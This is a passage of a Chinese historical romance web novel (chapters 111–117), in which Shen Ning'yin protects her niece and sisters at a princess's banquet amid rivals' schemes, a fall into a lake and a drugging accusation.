“姑姑。”沈玉珠拉了拉她的袖子，一双眼睛水汪汪的：“你跟姐夫吵架了么？”
沈宁音看着侄女的脸：“没有。”她这些成年人的烦心事儿并不想让沈玉珠过早接触到。
“走吧，我领你去认认人。”
宴会很大，柔福长公主身份尊贵，一袭袄裙是深色洒金软烟罗的料子，沉稳贵气，人群里头，一眼就叫人印象深刻。
而沈宁音的目光，最后却是落在了她身边一人的身上。
李云英。
这位清河郡主姿容出色，像一朵绽放的牡丹。
耳边总是时不时就传来夫人们的赞叹声音。
“清河郡主可真是瑰资凤仪。”
“可不是么？不过，圣人已经将她许了婚。不然啊，怎么着也要给我那不成器的嫡子求一求试试。”
在场的夫人们大抵是不知道李云英的厉害的。沈宁音低头呷了一口茶，思忖着，圣人的疼宠才是真正的厉害。不论清河郡主做出怎样的事来，只要圣人不想要人知晓，那就有的是办法掩盖。
即便那些人听闻了李云英的真面目，一多半也会选择不信的吧。
“世子夫人，你今儿来是做什么的？”
有人提到了沈宁音，她忙抬眸看过去，但见几个夫人都好奇地看了过来。
另有人注意到了沈宁音不远处正与几个贵女说话的腼腆姑娘：“那位是……”
111. 兴趣
夫人们听闻是她，都看了过来。
作为鲜少参与赏花宴的昌平侯府主母，又有秦耀阳这宠妻的在外名声加持着，在场的夫人们对沈宁音是极有兴趣的。
众人发现沈宁音瞧着分外年轻，十七八岁年纪，长相姣好明艳，再看看上首坐在长公主身边的清河郡主李云英，沈宁音比起那等天潢贵女竟丝毫不显逊色。甚至比起脂光粉艳的郡主娘娘来，沈宁音举手投足间，反倒更显大气温婉。
“那个是我娘家的侄女，闺名玉珠。”沈宁音落落大方地介绍起子侄，又打趣了几句她们方才所谈的后宅趣事。不消片刻，就将初见面的尴尬消得土崩瓦解。
夫人们发现，这位昌平侯府的年轻主母非但没有想象中的畏首畏尾小家子气，甚至小小年纪，在这等高规格的宴会中谈笑风生，无妨是后宅秘辛，亦或者上京时髦，都能聊上几句，从不叫话题落地。
夫人们一旦收起了小瞧的心思，便也惋惜起来。
沈宁音与清河郡主不同，在此前，她被侍郎府藏在深闺，是从不参与宴会的，夫人们当初听闻秦家那位世子爷娶了个美貌废物，他挨个拜访府邸替妻子打探口风的时候，夫人们是瞧不上这世子夫人的，先入为主地觉着沈宁音定是个温室里的嫩白娇花。
如今百闻不如一见，众人才知自己错得离谱，惋惜着怎么没能早早发现此等明珠，若能求娶回家，自己也能少操心几十年了。
永宁伯夫人家也是军功封爵，族中一脉同昌平侯家颇有渊源，她最先起了心思，笑着冲沈宁音开了口：“秦二少夫人，不知你娘家可还有适龄的兄弟姐妹？”
沈宁音闻言，目光从沈玉珠身上收回来，她知道永宁伯夫人这么问是没瞧上沈玉珠。沈远淮没了亲娘扶持，又科举不第，好不容易补了个官身，也只是六品中书检正。
沈玉珠再好，到底身份低了些。这一点沈宁音早有预料。
她笑着着对永宁伯夫人道：“有的，适婚的还有三位妹妹。”
伯夫人眼眸一亮，微微倾身：“哦？是嫡出还是庶出？”
“都是嫡出。”沈宁音笑容得体，略显亲昵，这是因着永宁伯府与昌平侯府的亲近，细一思量，沈宁音觉着，机会还是有的。
“哎呀，其实嫡出庶出的原也不打紧，若都与你一般由嫡夫人教养长大，配我那不成器的嫡次子也是再合适不过的。”
沈宁音念头微动，侯府这一脉没有姑娘，侍郎府算是姻亲，哪怕芯子不行，但面子上也还拿得出手，永宁伯夫人看起来是真动了心思的，说不准还真能成……
思及此，沈宁音愈发热络地回答了伯夫人好几个问题。
最后，伯夫人四下里望了望，问及：“说了这么久，怎不见三位姑娘？”
沈宁音一时有些语塞，用力捏了捏帕子，笑着开口：“想是去了哪里玩，我叫人喊她们过来。”
这时，旁边儿一个女人剜酸刻薄的声音传来：“哪里用这么麻烦，左右大家无事，不如一起去瞧瞧？”
这声音有些耳熟，沈宁音确信是在哪儿听过的，她转眸一看，手指微攥紧了裙裾。
是那位夫家为刑部都官郎中的盛夫人。舫船上的旧怨刚过不久，盛夫人看向沈宁音的目光此刻就是不折不扣瞧好戏的样子。
沈宁音心略往下沉。若说自个儿凭着侯府与永宁伯府的关系，还有几分成功牵线的可能。那么有这位在，那她必定不会叫沈家攀上好亲事的。
“怎么？秦世子夫人要扫了大家的兴致，将几个沈姑娘名花深藏？”
盛夫人看似善意的打趣，但看向沈宁音的目光里，是毫不遮掩的戏谑和恶意。
沈宁音笑意不减，心思却淡了：“没有的事儿
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，只是觉着舍妹何德何能，劳大家去看？合该叫到这儿来才好……”
盛夫人轻笑一声：“秦世子夫人要是找个人假意绕上一圈，回来说没找到，那可就扫兴了。”
沈宁音攥着帕子的手微微收紧，她是真有这打算。
沈含鸢等人里头，唯独沈引章安分些，若被这些夫人们瞧着什么不妥帖的，再有这盛夫人从中一作梗，那非但结亲不成，沈家女在上京城，估计也再难嫁官宦。
沈宁音正思忖着如何拒绝。永宁伯夫人已然站起身：“怎么可能？盛夫人说笑了。”她笑着对沈宁音道：“既是二少夫人的娘家姑娘，倒也不必这么拘礼，我跟你去瞧瞧也好。”
在场的夫人们都是高门贵妇，个个都有玲珑心思，许多都愿意去凑个热闹。
都给架到这份儿上来，沈宁音也不好去怪罪驳了一番好意的永宁伯夫人。
这时，一个丫鬟走到盛夫人身边耳语了几句，盛夫人忽然看向沈宁音讥诮一笑，拉着永宁伯夫人的手腕道：“哎，找着了，侯夫人跟一众小姐都在池塘边儿赏花，走吧，去瞧瞧。”
对方来者不善，显然有所蓄谋的，沈宁音一想到将才盛夫人的眼神，心下就有不妙的预感。
她抿了抿唇，攥着百迭裙就跟了上去。
临走前，沈宁音喊住沈玉珠叮嘱：“玉珠，姑姑有事儿离开一下，你先自个儿玩。”
“嗯。”沈玉珠乖巧点头，等沈宁音走远，她看着沈宁音的背影，心下莫名有点不安。
“沈玉珠？”突然，一个声音喊出了她的名字。
沈玉珠愣怔着转身，不远处走出来几个姑娘，喊她的人沈玉珠没什么印象，但她们中有个身穿翠绿色袄裙的姑娘她认得。
姑娘在她身边站定，四下里张望，声音有几分怯生生的：“玉姐儿，宁音姐姐呢？”
112. 难堪
“陈五姑娘。”沈玉珠微蹙了蹙眉，母亲曾同她说过此人面像不好，瞧着不是个能相处的。
她们一脉往日里跟陈家本没什么交集，今日陈青霜突然凑上来，沈玉珠心下已有了几分防备。
沈玉珠四下里睃了一眼，周遭女眷们看见她们这群人都躲了开去，她也想走。只是，陈家姊妹从前与姑姑沈宁音交好，沈玉珠寻思着也不能直接就走，面上不好看。
她正想着说辞，陈青霜身边儿的陌生姑娘已经拉住了她的手：“早就听闻沈家姑娘个个水灵，如今一见，果然如此。”
沈玉珠及不习惯，手腕扭动，想挣脱开来：“我不认得你。”可她力气小，竟没挣脱开：“我要等我姑姑。”
“哎哟。”女娘笑眯眯开口：“咱们又不出这园子，就是走一走聊个天，这么多人在，你又不是没有熟人，还怕个什么？”
沈玉珠愣了愣，看了眼陈青霜，后者冲着她露出个善意的笑来，沈玉珠一时又觉着犹豫。
那人见她动摇，便拉着她往花簇后的小径去：“你家姑姑本就是叫你过来见见世面，也让人认识认识你，今儿咱们正好有个好出去，一般人我们才不带着她呢。哎呀！回头送你回来就是。”
沈玉珠心里是不愿的，奈何几个人推的推拉的拉，她也挣扎不过，便索性先答应下来，准备找机会脱身。
不多时，层层楼榭仿若拨开梅枝，栉比鳞次地现于眼前。沈玉珠看着豁然开朗的景象一时有点反应不过来。
“躲着点儿。”这时，身后陈青霜惊慌失措地拽了她一把。
沈玉珠一个踉跄，她才发现几个人都躲在花枝后头。
“你这么大声做甚？”那为首的绿衣女子狠狠瞪了陈青霜一眼。
沈玉珠只是阅历浅，人倔强，但不代表她蠢，看这几人偷偷摸摸的样子，一时间也明白过来，她们这是偷偷摸摸过来瞧人的！
不远处的楼榭之上，尽是此次过来的贵族公卿，男女宾客不同席，原该在两处的！若是给人发现自己等人在这，怕是要名声有损，更带累姑姑沈宁音了。
思及此，沈玉珠提着裙摆就要往后头去。
她这一走，陈家这几人一时间慌了神。有人拉住了沈玉珠咬牙小声问：“你做什么去？”
“我要回去等我姑姑。”沈玉珠语气坚决。
她那稍高的声音惹得陈家女连忙将她嘴巴捂住：“你疯了？嚷嚷个什么！你如今都来了此处了，想走？怕不是要出去告发我们？”
沈玉珠用力推开她的手，飞快道：“我不会说的！”
“那也不行！”陈四姑娘冷着脸：“人心隔肚皮，谁知道你会不会讲出去？咱们是看在你家给三哥请来太医治伤的面儿上才拉着你来遇个好姻缘的！换了别家，我们才不拉你。”
沈玉珠愣怔住，沈家这些天事情又多又杂，鸡飞狗跳，哪里有空去管别家治什么伤？
那位冷家的未来姐夫成日在门口堵门，沈夫人连下人都没让出去过，沈侍郎也是告假在家。她们几个姑娘给提前送去昌平侯府，也有部分原因是这个。
沈玉珠一时也明白过来，这几人怕是有什么误会。
几人正小声争执着，忽听见灌木花枝外传来男子的呵斥声：“谁在那！”
陈家几个姐妹吓坏了，她们都是深宅内院的女娘，提着裙摆哪里能跑得过那些小厮仆人？到时候丢脸丢到自家爹爹处，怕是好亲事攀不上，刚做员外郎的父亲都要把她们推出去随意许了人。
慌乱间，陈四姑娘跑得飞快，余下人里头，陈青霜给绊了一跤，一种惊恐的情绪瞬间蔓延上陈青霜的脑海。
陈青霜听见身后有
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凌乱的脚步声快速靠近。
危急关头，陈青霜感觉到胳膊一紧，眼前出现了沈玉珠的关切的眉眼，沈玉珠力气不大，但她拉得很稳。
沈玉珠原本是跑在最前面的，有了防备，小姑娘比谁都快，可听见有姐妹摔了，她做不到毫无动摇，最后折返回来救人的，也是沈玉珠。
“你还能走么，快！”沈玉珠压着声音。
但陈青霜此刻脑子里，只有自己一个人被旁人发现在此处后，爹爹和嫡母暴怒的脸。
这些天，她因为三哥陈守岳有救了而变得好过些的日子，爹爹破天荒愿意叫姐姐们领着她来参加宴会寻好亲事的曙光，所有的一切，都会化作泡影。
她不能被丢下。
她飞快地抬起眼，陈青霜比谁都明白，若是相携离去，她们落在后头的两个人都跑不掉。
沈玉珠察觉到手边扶着的人停了下来，她觉着有些疑惑，转眸看去的时候，发现陈青霜乌黑的瞳仁里，是云翳般的暗沉驳杂。
心里霎时一股子不妙的预感。
“对不住。”陈青霜低喃出三个字后，将毫无防备的沈玉珠奋力往身后一推。
沈玉珠只觉身上一股子大力袭来，眼前的景物飞速向前掠去。她本能地想稳住身形，可是整个人却是不受控制地往后连退。
“砰——”顿重的一声后，男子吃痛的闷哼声也传到她耳畔，沈玉珠后背也疼，但却被一双温热的手搀扶住。
她整个人都懵了，男子眉头皱得死紧：“你！”他暴怒的声音刚冒出半个音节，却在对上怀里女娘清丽明净的眼瞳时生生掐断了。
沈玉珠从未与陌生男子这般近过，唯一接触的，也还是上次柳郎中家的孙儿，却也没碰到过胳膊。沈玉珠意识到的时候，飞快地退开两三步，她脸颊瞬间通红，既羞臊又难堪。
113. 委屈
“你是哪家的姑娘，这样不知礼数，来此处做甚？”男子在短暂的惊艳之后板起了脸。
沈玉珠攥紧了袖子，抬眸道：“我不是故意来此的，是她们……”她抬手往灌木一指，却发现那里早没了别人的影子。
沈玉珠局促地转过脸来，道：“总之，我没有！”
男子脸上浮现一抹冷笑：“什么没有？青天白日的，你当我们都瞎了？”
男子身后有好些人，沈玉珠知道这儿人人都是人证，她百口莫辩。她也不敢多看其他任何人。
“你莫不是被抓了现行，于是想攀扯上别家女娘？”
沈玉珠身子一颤，难以置信地看向他，这男子长得周正，浓眉乌眸，看着分外正派，沈玉珠不料他说话竟这般过分？
沈玉珠眼圈瞬间就红了，若换了平日，她行得正坐得端，自不怕说出实情的。可如今，她只怕牵扯到姑姑身上，沈宁音这次是顶着压力带她们来这儿的，一心为着她好，她岂能忘恩负义，而且，姑姑在婆家不易，这些天沈玉珠看在眼里。
沈玉珠不说话了，只是兔子般红着眼睛不说话，一双眸子里有愤怒也有委屈。
看她哭了，男子冷下去的眼睛很轻易破了功，张了张嘴：“哎，你哭什么？”
他不说话倒还罢了，一说话，沈玉珠哭得更伤心了。
男子还想说个什么，刚抬手，还没等吭声，沈玉珠就听着人群后传来个低沉沙哑的冷冽声线：“小公爷，你倒是不怜香惜玉。”
沈玉珠转头去瞧，层层叠叠的人群挡着，她眼圈里头噙着泪也看不分明，只瞧见人群后的那人着一身靛蓝色刺绣深衣，转身时，风吹起细致青丝，飘逸宛若谪仙。
“薛大人！你……”那位小公爷愤愤地盯了沈玉珠一眼，竟抛下她往那人撵了过去。
沈玉珠从将将的提心吊胆委屈绝望一下子轻松脱身，她几乎反应不过来。只是没等她庆幸，一个扈从模样的男子已经冷冷地走到她跟前。
这男子表情严肃，是凶狠的那一挂，沈玉珠吓得后退了两步。扈从见这姑娘如此胆小，便直言来意：“国公爷命小的送姑娘回女客处。”
沈玉珠也没遇着过眼下这等情况，见那人好似没什么歹意，迟疑着缓缓点头。
毕竟那位什么小公爷的并未嚷嚷出去，是愿意护着自己的名声的，这一点，沈玉珠很是松了口气。
“等等。”蓦地，一个女子的声音传来。
沈玉珠跟扈从回头，发现来的是位鹅黄纻丝袄裙的女子，女子满头珠翠，脂光粉艳，样貌极好，只是走近了，便能瞧见她脸上的粉有些厚。
“白惜姑娘，你这是……”扈从的脸上终于有了点表情。
沈玉珠听见那位叫白惜的姑娘微笑：“我来送沈姑娘过去。”
“可是我家小公爷吩咐了……”扈从话没说完，白惜就收了笑打断他道：“我家大人说，让你回去，沈姑娘一个姑娘家，若当真听你家主子的由你去送，怕是要惹人多嘴的。”
沈玉珠一时忘了处境，对这名叫白惜的女子有了几分纳罕。她自小到大，还没见过像这样的女子，脸上既有奴婢的恭敬，又有不合时宜的倨傲。
那扈从说不过白惜，十分识趣地退走了。
“沈姑娘，走吧。”白惜双手交握在腰间，领着她往来路去。
沈玉珠这会儿没得选，只点点头，跟在白惜身后，半晌，她忍不住问：“白姑娘，您家大人是？”沈玉珠心下有些反应不过来。这姑娘一身华贵，甫一见着，沈玉珠差点儿以为是哪家的深闺的娇客，可没想到，竟然只是个丫鬟。最要紧的是，看那国公府公子的侍从好像都得让着。
沈玉珠再不问外事也分得清楚：在上京城，仆人代表的不是仆人
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自己，而是她们背后的主子。
很明显国公爷派来的下人都待让着眼前这女娘，可见她背后的主子很不一般。
“姑娘不必知晓。”白惜并未回答，甚至接下来的一路都没说话。
沈玉珠不知，此刻白惜的念头早就拐到旁的事儿上了。
卞小公爷追至薛岚身边，喘着气愤愤道：“薛大人，您也太过记仇。”薛岚没有说话，连嘴角都没弯一点。
但卞小公爷一瞧见他那张侧脸就挺来气的。上京城都知，皇城司第十一位公事大人长得青面獠牙，能止小儿夜哭，可他现在一见，几乎都要骂上一句谣言祸人！薛岚半片薄薄的面具之外，冷白的皮肤细腻鲜活，也就是靠得太近时，才能发现一点未愈的疤痕。
就是这样一个薛大人，将才一路过来，有姑娘绊倒在他怀里，这人分明是凶冷的神情，偏把个伯爵家的姑娘给看呆了。
卞小公爷也不过调侃了薛岚一句，说他不怜香惜玉，谁料想这人逮着机会就给他阴阳回来！
“难道不是？”薛岚面颊没动，眼眸略转看向小公爷。
卞小公爷面露尴尬：“那不一样，这沈家女娘定是故意攀附！隔着那么老远跑来碰瓷。”
薛岚停了步，似笑非笑：“草地凌乱斑驳，只消一眼，便知不只有她一人。”
“……”卞小公爷话语一哽，凝眉道：“那她也是巴巴地来攀龙附凤，旁人都走了，偏她不知廉耻。”
卞小公爷一副义愤填膺的模样，薛岚也不知道他在气什么，索性懒得再说，转身就走。
“哎，你别走啊，我还没说寿山伯家大姑娘的事儿呢！人家都往你怀里跌了，你就没个成家的打算？”
薛岚毫无表情，只是迈步又大了几分。
“你莫不是真被你干爹给……”卞小公爷满脸八卦的同时，又下意识地往下捂。
114. 礼数
湖水粼粼，深秋最末的几日，风就格外地寒凉。这风裹挟着氤氲的水汽扑面而来的时候，再厚实的袄裙也得将肌肤吹出鸡皮疙瘩来。
沈弦思裹了裹披帛，脸都给冻白了几分。
“阿嚏！”沈含鸢难受得紧，冲沈引章抱怨道：“侯夫人怕不是故意的，把咱们扔到这儿就不管了？咱们可是昌平侯府的客人，她怎么能扔下我们自个儿与人攀谈去？”
沈弦思闻言，脸色有些难看，她的手指摩挲着裙裾，不知在思忖什么。
倒是沈引章眼底闪过一丝愤愤来，往旁边儿挪了几步。
“你什么意思？”沈含鸢近墨者黑，最近与沈弦思走得近，看着自家妹妹就越发不顺眼：“咱们是亲姐妹，你躲什么？她们这般冷落咱们，难道你还怪我？”
沈引章原本不想多话的，她是沈夫人的嫡女，又是年岁小的那一个，比起沈含鸢跟沈弦思都更谨慎些，可这会儿她心里烦得要命，索性凝眉开口：“不怪你怪谁？”
“你！”沈含鸢瞠大眼眸气得要骂人。
奈何沈引章心里的恼火已经憋了好一阵，当下竟破天荒冷着眸子打断沈含鸢：“宁音姐姐原是答应了要带着咱们的，偏你要拉着我跟着侯夫人与闵家姑娘们走！这下好了，侯夫人这边指望不上，要再去找二姐姐，看你们谁拉的下脸来！”
沈含鸢眼里似要冒出火星子来：“沈引章！你不要不识好歹，沈宁音会有那么好心？指不定盼着咱们出丑，她好笑话咱们呢！就你吃里扒外！”
沈引章冷笑，明眼人都清楚，沈家同气连枝，让沈家女出丑对沈宁音这个出嫁女没有任何好处，而且，沈引章不算驽钝，从沈宁音给玉姐儿准备的钗环袄裙看，她是真想叫沈玉珠露脸的。就单凭着这个，沈引章相信，只要守着规矩，就算捞不到上好的亲事，也能给各家夫人留下点好印象。
可现在，一切都难挽回了。
沈引章不想同她吵，呆在这儿也意味着没有任何露脸的机会，沈引章咬咬牙道：“我要去找二姐姐，你们去么？”
沈含鸢眼里流露出轻蔑来：“看不出来呀，以前二姐姐一整夜一整夜被罚跪祠堂的时候，你从不关心她，现在看她发达了，你就要去捧着她，做她的走狗了。”
沈引章攥紧帕子，眉头紧蹙：“含鸢姐姐，说话别太难听！”
沈含鸢冷哼了一声，冲沈弦思道：“思姐姐，我有讲错？”
沈弦思没将她的话放在欣赏，突然开口：“听说今日有对诗会。咱们提前去瞧瞧？”
长公主的赏花宴里头，对诗会是个保留项目，公子们在上游放小船，船上用器皿装着诗词，若能对得上，便可以填出下一句，中间由小厮丫鬟们传递。为的便是佳话与名声。
沈引章有些意外，概因沈弦思在商贾之家长大，认字倒是可以，可她哪里会什么诗词？
“咱们提前过去瞧瞧，打通关节，兴许还能认得一些人。”沈弦思眼眸放光。
诗词她是不成的，但是沈弦思知道自己的优势，那就是模样。她如今是侍郎府的女儿。门楣高的姑娘里头，她算是模样最出挑的。和寻常姑娘比出身，和权贵姑娘比模样。只要能叫那些公子哥儿看见她的样貌，沈弦思不信没人上门提亲。
经历过破船上失了身子，又看见过沈宁音侯门主母地位带来的权势，沈弦思的想法悄然改变了。
她不想去姑苏了，她要留在上京！
沈弦思将裙裾捏得死紧。
这时，沈含鸢瞠大眼眸看向她：“思姐姐，你什么意思？”想到什么，沈含鸢倒吸一口凉气：“你是要咱们去路上偶遇公子哥儿？”
“有何不可？”沈弦思看向沈含鸢，眼珠子浮上了几分红。沈含鸢下意识地往后退了半步。
沈引章心下一突：“思姐姐？你不是有婚约么？”
“那又如何？”沈弦思笑容有几分瘆人：“不是还没成婚？”
沈引章觉着哪里没对，却
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又不知从何反驳。
沈弦思道：“你们去是不去？”
“不去。”沈引章觉着沈弦思疯了，当下道：“我要去找宁音姐姐。”她又转头询问沈含鸢：“含鸢，你跟我走。”
沈含鸢犹豫的时候，沈弦思转身就走。她一跺脚，往沈弦思追了过去：“等等我！”
沈引章看她们俞走俞远，苦笑着摇了摇头。
她提着裙摆往□□去，一张水嫩的脸颊给湿润的风吹得泛白，刚转过第一处花枝，迎面就撞见一群夫人打量着自己。
沈引章哪里见过这等阵仗，一时间慌得不知如何是好。
“哟，这就是沈家姑娘啊？怎么一个人在此？”女人的声音带着点儿微不可查的刻薄寡恩。
沈引章心下一颤，她捏着袄裙的指节攥得有些发白。
“怎么不说话？莫不是家中长辈没教过你礼数？”盛夫人嗤笑一声，专挑不好的地方挑事儿。
沈引章认出了盛夫人，也知她跟自己母亲是死对头，几十年的过节，盛夫人不可能放过自己。
沈引章越想冷静下来，就越发现自己做不到，问好与得体的礼仪这些天在侯府演练了无数遍，可真遇着事儿时，她还是一个字都说不出来。
掌心的冷汗浸湿了裙裾。
就在夫人们一个赛一个露出失望表情，就在沈引章认命地觉着自己搞砸了的时候。熟悉的声音从人群后传来。
“我这妹妹害羞。”沈引章反应过来的时候，手已经被沈宁音握在了掌心。
沈宁音笑容温婉，恰到好处：“父亲母亲最是疼惜她，原想着多留两年的，不过赏花宴难得，便也带她来瞧瞧。”
短短一句话，沈宁音便将那不识礼数转变成了父母疼宠。似她们这样的阶层，父母的疼爱就代表着母族的看重，这足以叫人忽略将才的礼数问题。
只是，光这样还不够，沈宁音微笑着转眸看向是沈引章：“引章，还不快见过几位夫人。”
115. 落水
沈引章看着沈宁音的脸，不知为何，她将才突突乱跳的心脏似乎瞬间就落到了实处。
沈宁音见她没反应过来，当下握着她的手指微一用力。
痛感让沈引章清醒，冷静下来后，她很快明白了沈宁音的意思。
等沈宁音松开了手，沈引章深吸一口气，微笑着福身行了一礼：“引章见过众位夫人。”
沈引章这一礼，分外恭敬标准，语气神态都透着大家闺秀的气质。与刚刚的慌乱无措简直判若两人。
与沈弦思跟沈含鸢不同，沈引章在昌平侯府时，是真正用心跟着教引嬷嬷学了的。
教引嬷嬷是宫里退下来的老人，连这些人都能私底下夸赞两句，沈宁音就知沈引章学得极好。
至此，沈宁音提着的心放下了一半。
“哎，快过来我瞧瞧。”永宁伯夫人没什么架子，脸上含笑，径直将沈引章牵在手里，上下打量着：“怪道沈夫人想着多疼两年，这样好的姑娘，谁不想长长久久养在身边呀？”
夫人们惯会夸人，饶是沈引章也给说了个大红脸。
沈宁音见多了宴会里夫人间的互捧与好话，自然知道有些套话当不得真。可她察言观色，发现永宁伯夫人看向沈引章的目光，倒也不像是没有意动。
“姑娘多大？在家中行几？”永宁伯夫人笑着询问。
寻常相看，都是长辈间先谈一遍的。可永宁伯夫人问得太急，径直绕过了沈宁音去。沈宁音一时有些猝不及防，怕沈引章再紧张出错。
她刚想上去解围，冷不防瞧见沈引章落落大方地微笑着，一一回答了伯夫人的问题。甚至不必沈宁音再提点，沈引章又讲了几件趣事，逗得永宁伯夫人愈发满意。
和乐融融的氛围里，唯有一心要来拆台看笑话的盛夫人，此刻咬紧后槽牙站在一旁。
盛夫人触及沈宁音的目光，更觉得如鲠在喉。
似这等宴会，沈家没资格得到邀请函，所以沈夫人自不可能在旁提点着。
盛夫人本想趁机叫从未参加过的沈家几个姑娘在众夫人跟前出丑，那她既报了昔日舫船羞辱之仇，也能趁机踩着沈家女将自个儿女儿推上伯府做儿媳。
却不料，棋差一着竟让沈家女占尽风头。盛夫人眼瞧着她属意的伯爵府竟好似看上了沈引章，她委实淡定不得了。
若真成了，盛夫人里子面子全都丢尽，还反要被个十几岁的小辈瞧了笑话去。
盛夫人攥紧了帕子。
“秦二少夫人，我记得沈家来的不止这一位姑娘吧？其他人呢？”盛夫人突然开口。
沈引章心中一紧，当下飞快地看向沈宁音。可是当沈宁音询问地目光落在她脸上时，沈引章却是抿着唇低下了头。
她这等表现，沈宁音哪里会瞧不出来。那两人定不会去做什么好事。
沈宁音眉头越皱越紧，真是怕什么来什么，她本不觉着第一次参加赏花宴的沈弦思与沈含鸢能有胆子做太出格之事，尤其，沈弦思还是个有了婚约的人。
可今生到底不是前世了，许多事情，终究会因为自己而发生重大的改变。
“妹妹们贪玩，昌平侯府也没有姑娘，如今见了这宴会新奇，怕是与别家的姑娘们游玩聊天去了。”沈宁音笑着将
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人往回引。
沈宁音想，为今之计，得先将夫人们稳住，然后才好抽出手来找到那两人。
盛夫人不依不饶：“秦二少夫人，这就是你的不对了。引章都这样出众了，你们沈家其他姑娘又岂能藏着掖着？不如叫到一处同咱们喝喝茶凑凑趣儿。”
“这……”
“是啊。”永宁伯夫人闻言也是点头：“沈侍郎乃是老臣子了。沈家书香门第，诚不欺我。你就遣人去找过来咱们见上一见？”
永宁伯夫人对沈引章其实很满意，但若能见一见沈家其他姑娘，她也是不介意的。
沈宁音正思忖着如何拒绝，蓦地看见盛夫人冷笑的脸，与此同时，一个小丫鬟提着裙摆从远处跑来，边跑边喊着：“落水了！有人落水了！”
沈宁音心下一咯噔。
光秃秃的柳树下，里三层外三层地围了不少人。
沈宁音等人赶过去的时候，郎中也正好过来。她四下扫视一圈，终于在拨开的人群里头，通过几只朱钗认出了瑟瑟发抖的沈含鸢。
沈含鸢头发湿淋淋地贴在脸上，手里裹着厚实的被子。丫鬟拉着她也不肯走。
沈宁音下细一看，地上昏迷不醒只露出一张苍白面孔的竟然是沈弦思。
“思姐姐，你快醒醒啊！呜呜呜……你这样我怎么回去跟母亲交代呀！”沈含鸢哭得满脸泪痕。
夫人们摇头叹着气。
唯有站在她们旁边的一位夫人铁青着脸。
那夫人手边立着个同样裹着毯子的公子哥儿，男子拉了拉夫人的衣裳：“娘……这事儿怨不得我……是她们。”
116. 污名
沈含鸢听了这话，愤怒地站起身同他理论：“你说的什么话？明明是你见色起意，胡搅蛮缠，最后得不到才推她下水的！我看得清清楚楚！”
男子脸上一阵青一阵红咬牙切齿：“我没有！我没必要撒谎！我根本没碰着她，而且我不也将她救上来了么？！”
沈含鸢冷笑：“我若不喊你下去救人你会去……”
“够了！”那位夫人大喊了一声，四周都安静下来：“这偌大的地方只有你们三人在，两位姑娘都是沈家人，自然都互相维护着。”
那夫人睨着沈含鸢，眼神里淬着冰，这眼神叫沈含鸢招架不住。
可如今这么多人在，沈含鸢也知事情闹大了，六神无主地嗫嚅着，分外可怜。她现在十分后悔没有跟着沈引章走。
沈含鸢毕竟是沈引章一母同胞的姐姐，沈引章还是很担心的，可眼下的情况，沈引章明白，自己处置不来。她只能乞求地看向主心骨沈宁音。
沈宁音目露思量，概因人群中那位带着儿子的夫人她前世就认识。
乃礼部侍郎夫人宋氏，宋氏娘家出自皇族宗亲，在府中历来强势，礼部侍郎家的教养分外严格，几个儿子也都在朝为官，长子甚至入围了当年的殿试。而尺有长短，这样一个诗礼之家，偏偏出了个歪的。
沈宁音的目光看向宋氏身后的男子，男人长得周正，相貌堂堂，模样是上京城贵族里头数得上号的，只是眼底浅淡的青黑破坏了美感。
莫说沈宁音前世就知这礼部侍郎家的幺子时常眠花宿柳，就算不知，她也能靠着眼力瞧出来他绝非良配。
“夫人，令郎的脉搏有些不对……”郎中的声音里带着犹疑，似乎不太敢说。
章嬷嬷是柔福长公主的贴身嬷嬷，这会儿就数她能代表赏花宴的主人家了。章嬷嬷不敢怠慢，凝眉厉声道：“你尽管讲出来！”
郎中环视了一圈，只好硬着头皮冲章嬷嬷和在场众人拱拱手，最后朝着宋氏道：“令郎是中了药，吃了使人动情的。”
“什么？！”宋氏脑子有点晕，好在她身后的儿子朱七郎将她扶住了。
“真是岂有此理！”礼部侍郎夫人宋氏气得浑身发冷，颤抖着声音道：“叫你家长辈过来！！”
事情已经闹大，宋氏知晓不能善了，她也不愿叫儿子吃下这个亏去！
沈含鸢见此情景，脸都白了，她腿一软就跪倒在地上：“我不知道啊！真的不是我们”她哭着摆手：“真的不是我们。”
宋氏看她推诿，冷声道：“沈家夫人呢？！我倒要瞧瞧，她们沈家是怎么教养女儿的！竟做下这等狐媚子手段来！”
沈含鸢又慌又害怕，她此刻只想找到闵氏出来帮帮忙，殊不知，闵氏要知道是她二人惹了事，必定躲得比谁都远。
眼瞧着周遭议论声越来越大，沈含鸢直接哭了起来。
“沈夫人没在，这儿昌平侯府的二少夫人倒是沈家人呢。”盛夫人的声音将所有人的目光惹了过来，她看向沈宁音的眼睛里带着点幸灾乐祸
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而此时此刻，闹出了这样大的事情，在没了结之前，就算是永宁伯夫人也下意识地离沈引章远了些许。
“虽说是嫁出去了，可你亲妹妹们出了事儿，你这个做姐姐的，要袖手旁观不成？”盛夫人脸上带着笑，眼里却是冷飕飕的。
人群分开了一条道，沈宁音整个地被曝露在宋氏眼中。宋氏蹙眉打量着她看：“你就是她们的姐姐？”
沈引章心中一绷，紧张地拉住了沈宁音的袖子。她无声地哀求着沈宁音救人。
沈宁音看了她一眼，没有说话，只是伸手将袖子抽了出来。
“我是。”沈宁音莲步轻移，缓缓走上前去。
沈含鸢哭得妆容凌乱，她边哭边抬手抹去了脸上的眼泪，急急忙忙往沈宁音跟前跑：“姐姐救我们！”
沈宁音看着她狼狈的模样，目光似一把冰刀，直瞧得就要抱上来的沈含鸢哆嗦着退开。
沈宁音看向宋氏道：“朱夫人，此事非同小可，岂能妄下结论？”
宋氏冷哼一声，盯着沈宁音一字字道：“你也知非同小可！你的妹妹胆敢在长公主殿下的宴席里头对我儿下药，实在欺人太甚！我不管你嫁没有嫁人，总之，你沈家定要给我一个交代！”
沈宁音低头瞥了一眼地上裹着毯子的沈弦思，她一眼就看出这人应该是早就醒了，这会儿怕是不敢起来，在装晕呢。
沈宁音没有马上戳穿沈弦思，只一面走，一面说着话：“此事，只怕另有真凶……”
117. 搅局
宋氏哪里能信，冷笑：“呵，秦二少夫人可真是沈家女子的表率，砌辞狡辩真真是张口就来！我儿身上有媚药是板上钉钉的事情，岂容你推诿！？”
“是么？”沈宁音转眸看向了那郎中，郎中触及她的目光，眼神有几分躲闪。这一点，不由得叫沈宁音多了几分猜测。
这时，宋氏横跨一步挡住了沈宁音的视线：“怎么？少夫人想以势压人？”宋氏目光淬霜：“昌平侯府再如何强势，这能来赏菊宴的人家，也不是那般能让人随意轻贱的！”
宋氏语调激动，将在场一应人等都唬了一跳。永宁伯夫人蹙了蹙眉想上前打圆场，但被人给死死拉住。
如此，偌大一处湖边，就只得沈宁音一人面对着诸般风雨。
